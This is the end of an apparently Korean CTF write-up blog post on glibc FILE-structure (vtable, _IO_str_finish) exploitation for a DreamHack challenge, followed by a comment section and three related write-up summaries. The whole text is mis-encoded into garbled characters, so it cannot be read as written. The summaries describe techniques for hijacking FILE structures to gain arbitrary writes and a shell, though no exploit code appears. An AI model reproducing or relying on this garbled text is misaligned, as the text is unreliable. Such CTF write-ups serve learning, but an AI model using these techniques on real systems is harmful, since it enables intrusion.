vtable ๋ฒ”์œ„ ๊ฒ€์‚ฌ ์ž์ฒด๋Š” 2.24 ์ดํ›„๋กœ ๊ณ„์† ์‚ด์•„ ์žˆ๋‹ค. ๊ทธ๋Ÿฌ๋‹ˆ ์ด ํ’€์ด๊ฐ€ ์„ฑ๋ฆฝํ•˜๋Š” ์กฐ๊ฑด์€ ๊ฒ€์‚ฌ์˜ ์œ ๋ฌด๊ฐ€ ์•„๋‹ˆ๋ผ _IO_str_finish ๊ฐ€ ์•„์ง _free_buffer ๋ฅผ ํ•จ์ˆ˜ ํฌ์ธํ„ฐ๋กœ ๋ถ€๋ฅด๋Š”๊ฐ€๋‹ค. ๊ทธ ํ˜ธ์ถœ์ด ๋‚จ์•„ ์žˆ๋Š” ๋ฒ„์ „์—์„œ๋งŒ ์ด ๊ฒฝ๋กœ๊ฐ€ ์—ด๋ฆฐ๋‹ค.

์ด ๊ธ€์˜ ์ˆซ์ž์™€ ๊ฒฝ๋กœ๋Š” ์ „๋ถ€ 2.27-3ubuntu1 ์—์„œ ํ™•์ธํ•œ ๊ฒƒ์ด๋‹ค. libc ๊ฐ€ ๋ฐ”๋€Œ๋ฉด ์˜คํ”„์…‹๋งŒ ๋‹ค์‹œ ๊ตฌํ•  ๊ฒŒ ์•„๋‹ˆ๋ผ _IO_str_finish ๋ฅผ ๋‹ค์‹œ ๋œฏ์–ด๋ด์•ผ ํ•œ๋‹ค. ๋ฒ„์ „์„ ์•ˆ ๋ณด๊ณ  ์ต์Šค๋ฅผ ์˜ฎ๊ธฐ๋ฉด ์™œ ์•ˆ ๋˜๋Š”์ง€๋„ ๋ชจ๋ฅธ ์ฑ„ Fatal error ๋งŒ ๋ณด๊ฒŒ ๋œ๋‹ค.

์ด ๊ธ€์ด ๋„์›€์ด ๋๋‚˜์š”?

Comments

๋Œ“๊ธ€

0๊ฐœ

๋Œ“๊ธ€์„ ๋‚จ๊ธฐ๋ ค๋ฉด ๋กœ๊ทธ์ธ์ด ํ•„์š”ํ•ด์š”. (๋„ค์ด๋ฒ„ ยท ๊ตฌ๊ธ€ ๊ณ„์ •)

๋Œ“๊ธ€ ๋ถˆ๋Ÿฌ์˜ค๋Š” ์ค‘โ€ฆ

Related

๊ด€๋ จ ๊ธ€

3๊ฐœ
[๐Ÿฅ‡ Gold 4] fread ์•ˆ์— ์ˆจ์€ read ํ•œ ๋ฒˆ โ€” DreamHack _IO_FILE Arbitrary Address Write ํ’€์ด
blog

[๐Ÿฅ‡ Gold 4] fread ์•ˆ์— ์ˆจ์€ read ํ•œ ๋ฒˆ โ€” DreamHack _IO_FILE Arbitrary Address Write ํ’€์ด

main์ด fopen์œผ๋กœ ๋ฐ›์€ FILE ํฌ์ธํ„ฐ๋ฅผ ๊ทธ๋Œ€๋กœ read์˜ ๋ฒ„ํผ๋กœ ๋„˜๊ธด๋‹ค. _IO_FILE ๊ตฌ์กฐ์ฒด๋ฅผ ํ†ต์งธ๋กœ ์œ„์กฐํ•  ์ˆ˜ ์žˆ๋‹ค๋Š” ๋œป์ด๋‹ค. fread๋Š” ์š”์ฒญ๋Ÿ‰์ด ๋ฒ„ํผ๋ณด๋‹ค ์ž‘์œผ๋ฉด __underflow๋กœ ๋‚ด๋ ค๊ฐ€ read(_fileno, _IO_buf_base, ๋ฒ„ํผํฌ๊ธฐ)๋ฅผ ๋ถ€๋ฅด๋Š”๋ฐ, ์ด ์„ธ ์ธ์ž๊ฐ€ ์ „๋ถ€ ๊ตฌ์กฐ์ฒด ์•ˆ์— ์žˆ๋‹ค. ๋ฒ„ํผ ํฌ์ธํ„ฐ๋ฅผ ์ „์—ญ ๋ณ€์ˆ˜๋กœ, fd๋ฅผ 0์œผ๋กœ ๋ฐ”๊ฟ” stdin์—์„œ 0xDEADBEEF๋ฅผ ๋ฐ›์•„ ์ ์—ˆ๋‹ค.
#dreamhack#ctf#pwnable+4
2026-07-30#dreamhack +5
[๐Ÿฅ‡ Gold 4] read ํ•œ ๋ฒˆ์„ ํ†ต์งธ๋กœ ํ›”์ณ ์˜ค๋Š” ๋ฒ• โ€” DreamHack iofile_aw ํ’€์ด
blog

[๐Ÿฅ‡ Gold 4] read ํ•œ ๋ฒˆ์„ ํ†ต์งธ๋กœ ํ›”์ณ ์˜ค๋Š” ๋ฒ• โ€” DreamHack iofile_aw ํ’€์ด

memcpy ํ•œ ์ค„์ด stdin ์ด ๊ฐ€๋ฆฌํ‚ค๋Š” FILE ๊ตฌ์กฐ์ฒด์˜ ์•ž 0x40๋ฐ”์ดํŠธ๋ฅผ ํ†ต์งธ๋กœ ๊ฐˆ์•„๋ผ์šด๋‹ค. ๊ทธ 0x40 ์•ˆ์— _IO_buf_base ๊ฐ€ ๋“ค์–ด ์žˆ์–ด์„œ, ๋‹ค์Œ์— fgets ๊ฐ€ ๋ถ€๋ฅด๋Š” read(2) ์˜ ์ฐฉ์ง€์ ์„ ๋‚ด๊ฐ€ ์ •ํ•  ์ˆ˜ ์žˆ๋‹ค. Full RELRO ๋ผ GOT ๋Š” ๋ชป ๊ฑด๋“œ๋ฆฌ์ง€๋งŒ ๋Œ€์‹  ์ „์—ญ int ํ•˜๋‚˜ โ€” read ๊ธธ์ด๋ฅผ ๋‹ด๊ณ  ์žˆ๋Š” size โ€” ๋ฅผ 512์—์„œ 2560์œผ๋กœ ํ‚ค์› ๋‹ค. ๊ทธ ์ˆœ๊ฐ„ ์†Œ์Šค์— "No overflow here" ๋ผ๊ณ  ์ฃผ์„๊นŒ์ง€ ๋‹ฌ๋ ค ์žˆ๋˜ read_command ๊ฐ€ 512๋ฐ”์ดํŠธ ์Šคํƒ ๋ฒ„ํผ์— 568๋ฐ”์ดํŠธ๋ฅผ ๋ถ€์–ด ๋„ฃ๋Š” ํ•จ์ˆ˜๊ฐ€ ๋œ๋‹ค.
#dreamhack#ctf#pwnable+4
2026-08-01#dreamhack +5
[๐Ÿฅˆ Silver 2] stderr + 1 ์ด ๊ฐ€๋ฆฌํ‚ค๋Š” 8๋ฐ”์ดํŠธ๋กœ ํ•จ์ˆ˜ ํ…Œ์ด๋ธ”์„ ๊ฐˆ์•„๋ผ์šด๋‹ค โ€” DreamHack iofile_vtable ํ’€์ด
blog

[๐Ÿฅˆ Silver 2] stderr + 1 ์ด ๊ฐ€๋ฆฌํ‚ค๋Š” 8๋ฐ”์ดํŠธ๋กœ ํ•จ์ˆ˜ ํ…Œ์ด๋ธ”์„ ๊ฐˆ์•„๋ผ์šด๋‹ค โ€” DreamHack iofile_vtable ํ’€์ด

๋ฉ”๋‰ด 4๋ฒˆ์ด read(0, stderr + 1, 8) ์„ ํ•œ๋‹ค. stderr ๋Š” FILE ํฌ์ธํ„ฐ๋ผ +1 ์€ 8๋ฐ”์ดํŠธ๊ฐ€ ์•„๋‹ˆ๋ผ ๊ตฌ์กฐ์ฒด ํ•˜๋‚˜๋งŒํผ, ์ฆ‰ 0xd8 ์„ ๊ฑด๋„ˆ๋›ด๋‹ค. ๊ทธ ์ž๋ฆฌ๊ฐ€ ํ•˜ํ•„ _IO_FILE_plus ์˜ vtable ํฌ์ธํ„ฐ๋‹ค. ์ „์—ญ ๋ฐฐ์—ด name ์— get_shell ์ฃผ์†Œ๋ฅผ ๋ฏธ๋ฆฌ ๋„ฃ์–ด ๋‘๊ณ  vtable ์„ name - 0x38 ๋กœ ๋Œ๋ฆฌ๋ฉด, fwrite ๊ฐ€ ๋ถ€๋ฅด๋Š” __xsputn ์นธ์ด ์ •ํ™•ํžˆ name ์— ๊ฒน์นœ๋‹ค.
#dreamhack#ctf#pwnable+5
2026-07-31#dreamhack +5